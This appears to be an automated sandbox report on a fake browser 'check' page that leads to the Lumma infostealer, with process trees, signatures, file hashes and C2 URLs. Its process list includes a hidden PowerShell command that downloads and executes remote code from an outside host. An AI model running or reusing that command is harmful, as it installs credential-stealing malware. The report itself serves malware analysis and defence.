Analysis

  • max time kernel
    71s
  • max time network
    67s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-11-2024 15:28

General

  • Target

    https://check-in-cf.b-cdn.net/verify/cf-check.html

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://tipicopisco.com/go/bebek.txt

Extracted

Family

lumma

C2

https://appr0dress.cyou/api

https://processhol.sbs/api

https://p10tgrace.sbs/api

https://peepburry828.sbs/api

https://3xp3cts1aim.sbs/api

https://p3ar11fter.sbs/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://check-in-cf.b-cdn.net/verify/cf-check.html
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3552
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa90c646f8,0x7ffa90c64708,0x7ffa90c64718
      2⤵
        PID:940
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2084 /prefetch:2
        2⤵
          PID:5016
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:616
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2856 /prefetch:8
          2⤵
            PID:3672
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
            2⤵
              PID:4980
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
              2⤵
                PID:1520
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5184 /prefetch:8
                2⤵
                  PID:4268
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5184 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3480
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5272 /prefetch:1
                  2⤵
                    PID:1816
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:1
                    2⤵
                      PID:4984
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5100 /prefetch:1
                      2⤵
                        PID:2940
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,16962498415042308221,18246199977353068387,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5392 /prefetch:1
                        2⤵
                          PID:3400
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:3532
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:3684
                          • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
                            "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $uR='https://tipicopisco.com/go/bebek.txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t
                            1⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5372
                            • C:\Users\Admin\AppData\Roaming\Extra\bubs.exe
                              "C:\Users\Admin\AppData\Roaming\Extra\bubs.exe"
                              2⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              PID:5888

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                            Filesize

                            152B

                            MD5

                            85ba073d7015b6ce7da19235a275f6da

                            SHA1

                            a23c8c2125e45a0788bac14423ae1f3eab92cf00

                            SHA256

                            5ad04b8c19bf43b550ad725202f79086168ecccabe791100fba203d9aa27e617

                            SHA512

                            eb4fd72d7030ea1a25af2b59769b671a5760735fb95d18145f036a8d9e6f42c903b34a7e606046c740c644fab0bb9f5b7335c1869b098f121579e71f10f5a9c3

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                            Filesize

                            152B

                            MD5

                            7de1bbdc1f9cf1a58ae1de4951ce8cb9

                            SHA1

                            010da169e15457c25bd80ef02d76a940c1210301

                            SHA256

                            6e390bbc0d03a652516705775e8e9a7b7936312a8a5bea407f9d7d9fa99d957e

                            SHA512

                            e4a33f2128883e71ab41e803e8b55d0ac17cbc51be3bde42bed157df24f10f34ad264f74ef3254dbe30d253aca03158fde21518c2b78aaa05dae8308b1c5f30c

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                            Filesize

                            265B

                            MD5

                            52ab2b9deedc8cd773cc37226d0eeb24

                            SHA1

                            60a133ca18d14d8f237a4d446f4a378de7b599a3

                            SHA256

                            6f1eb18b7aa055efd41f8429131c6d83b0c2bd473a3eedf1d07dd6cdb82b48e1

                            SHA512

                            3217f16097e80db1c814a9a8bec5ee46b37f2bbc1a987832ee9d688577fafb9ba02d9d140b987a668b50e132eeabb4938e3034a719e20275bbfc1a3e7c1d6786

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            5KB

                            MD5

                            21e8e2a89935949b0ba31ea88df5aa41

                            SHA1

                            15b5eb72ed62216e70ff44c3d52a61de51e7eb90

                            SHA256

                            e7cd8adea48c61d5d85761ef22261f6d216309ab57b9a6e38b9e2505c6164cca

                            SHA512

                            3246bdbddc85b5ac7858bea06fa0ddf418b3d71b08aa0d2e2cd194e632fe57dcab81fa4d358595a2e3d821ab64fb23266395e718a681b2f03ab26e4bd169a9bf

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            6KB

                            MD5

                            9866443771599d4cd4d3cb875d119f30

                            SHA1

                            0f986eece6a9ce7225b84e5f74606eea6e9b270b

                            SHA256

                            04bdd7caf061105607cdd9b8ce6e1dbaf77ed71d14c25841cf858539b1c6e908

                            SHA512

                            2f0e61b5fe723524e3bf3461c38c538a4ced78fdd8deff538356a666d95dd340990f3d1b5f5f59e6da105d90ea2bc9dc282f471201cab55684252bd43d06a565

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                            Filesize

                            16B

                            MD5

                            6752a1d65b201c13b62ea44016eb221f

                            SHA1

                            58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                            SHA256

                            0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                            SHA512

                            9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                            Filesize

                            10KB

                            MD5

                            03c827ab265a8a243c75de5b0db772ee

                            SHA1

                            4def447e9ca2c44a99587c67b6c9aa25a23a8686

                            SHA256

                            a173327697ce25687b1277c6b5f31a7a5943134b32acb55e2d2ca61d344615c5

                            SHA512

                            35c3b412e6020fc1e978c2c30986aaa30cb1203e108837614c09a62d6558918eae2ecc405a2e557028705adfc48efa4f34f19232ce382e347ae878d76161286d

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                            Filesize

                            10KB

                            MD5

                            30b5c30432b9021f43fb0eb4bd1a44a1

                            SHA1

                            011b025b2ee28e850143d22f2e88890070c532ac

                            SHA256

                            436bf0ff3fc885b43a2bed1f14ef7b215752a06caa094c2be6b0b5f26a27d056

                            SHA512

                            0760dbd3919283bfd5ca6c921d6b10020a3ba3fbae15c42eaf39123a17da5b6b41b7423b43f1f465749d7d8ef8241d7c02f70db28d93ad0d2ec893bf33a8c141

                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ce0y5skh.1gp.ps1

                            Filesize

                            60B

                            MD5

                            d17fe0a3f47be24a6453e9ef58c94641

                            SHA1

                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                            SHA256

                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                            SHA512

                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                          • C:\Users\Admin\AppData\Roaming\Extra\bubs.exe

                            Filesize

                            4.6MB

                            MD5

                            442d526a26805c47376d7b4f78374a4f

                            SHA1

                            3af8edc2316c6d602d027c1f0ffa1eb9d68b7047

                            SHA256

                            6eb422418aee67819a21db376f41ffaa9b351392ef7a22e939d997c5c33f8c3c

                            SHA512

                            1f15301d3c0969a513200b4fbac8fe70bee8bdda8e9c9b56fab647cbf59eef0d69fdb46fd2662de0fbea1d00338b988803d2d94d793da3e12b5b16cbb47e8054

                          • C:\Users\Admin\AppData\Roaming\Extra\cr.dll

                            Filesize

                            5.5MB

                            MD5

                            6c5456370ea9ea64c7fb6296284fd95a

                            SHA1

                            18341d3079e637b76406b475d8939a7c57f9809a

                            SHA256

                            7ffd784adf875b3bae9a43092cbbe58a1fd80c8f095b869f1087fc5ac8a56628

                            SHA512

                            d712b176f3c50b28afeb46f487e461852f7ae82a5b3987b550b18210cdcceaff00d45e07c12b359bcaa01a90102d37ef530457a3c8d38e981c2a0155bb885482

                          • \??\pipe\LOCAL\crashpad_3552_XOPUCPDNPMFZPFPX

                            MD5

                            d41d8cd98f00b204e9800998ecf8427e

                            SHA1

                            da39a3ee5e6b4b0d3255bfef95601890afd80709

                            SHA256

                            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                            SHA512

                            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                          • memory/5372-97-0x0000024EF68B0000-0x0000024EF7056000-memory.dmp

                            Filesize

                            7.6MB

                          • memory/5372-100-0x0000024EF64B0000-0x0000024EF64C2000-memory.dmp

                            Filesize

                            72KB

                          • memory/5372-99-0x0000024EF6260000-0x0000024EF626A000-memory.dmp

                            Filesize

                            40KB

                          • memory/5372-119-0x0000024EF4E80000-0x0000024EF5941000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5372-124-0x0000024EF4E80000-0x0000024EF5941000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5372-73-0x0000024EF5B00000-0x0000024EF5B22000-memory.dmp

                            Filesize

                            136KB

                          • memory/5888-117-0x0000000001660000-0x00000000016BB000-memory.dmp

                            Filesize

                            364KB

                          • memory/5888-118-0x0000000001660000-0x00000000016BB000-memory.dmp

                            Filesize

                            364KB

                          • memory/5888-120-0x0000000000BF0000-0x0000000001082000-memory.dmp

                            Filesize

                            4.6MB

                          • memory/5888-121-0x0000000074700000-0x0000000074C7E000-memory.dmp

                            Filesize

                            5.5MB